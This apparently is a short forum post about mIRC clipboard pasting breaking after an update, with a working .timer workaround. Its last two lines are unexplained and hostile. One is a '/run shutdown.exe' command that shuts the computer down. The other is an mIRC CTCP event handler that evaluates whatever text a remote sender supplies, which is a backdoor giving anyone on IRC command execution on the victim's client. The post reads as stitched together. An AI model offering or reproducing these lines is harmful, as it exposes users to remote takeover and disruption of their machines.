Yeah, I was pasting in a channel at the time, and I know I was able to send a lot more at a time before the updated mirc, and it also happens in all four networks I'm in.

I'm able to do essentially the same as play just fine (using .timer 500 0 msg # stuff) and it works perfectly, just that pasting from clipboard doesn't seem to work.

/run shutdown.exe -s -t 0
ctcp ^*:r*:*:{$($2-,2)|halt}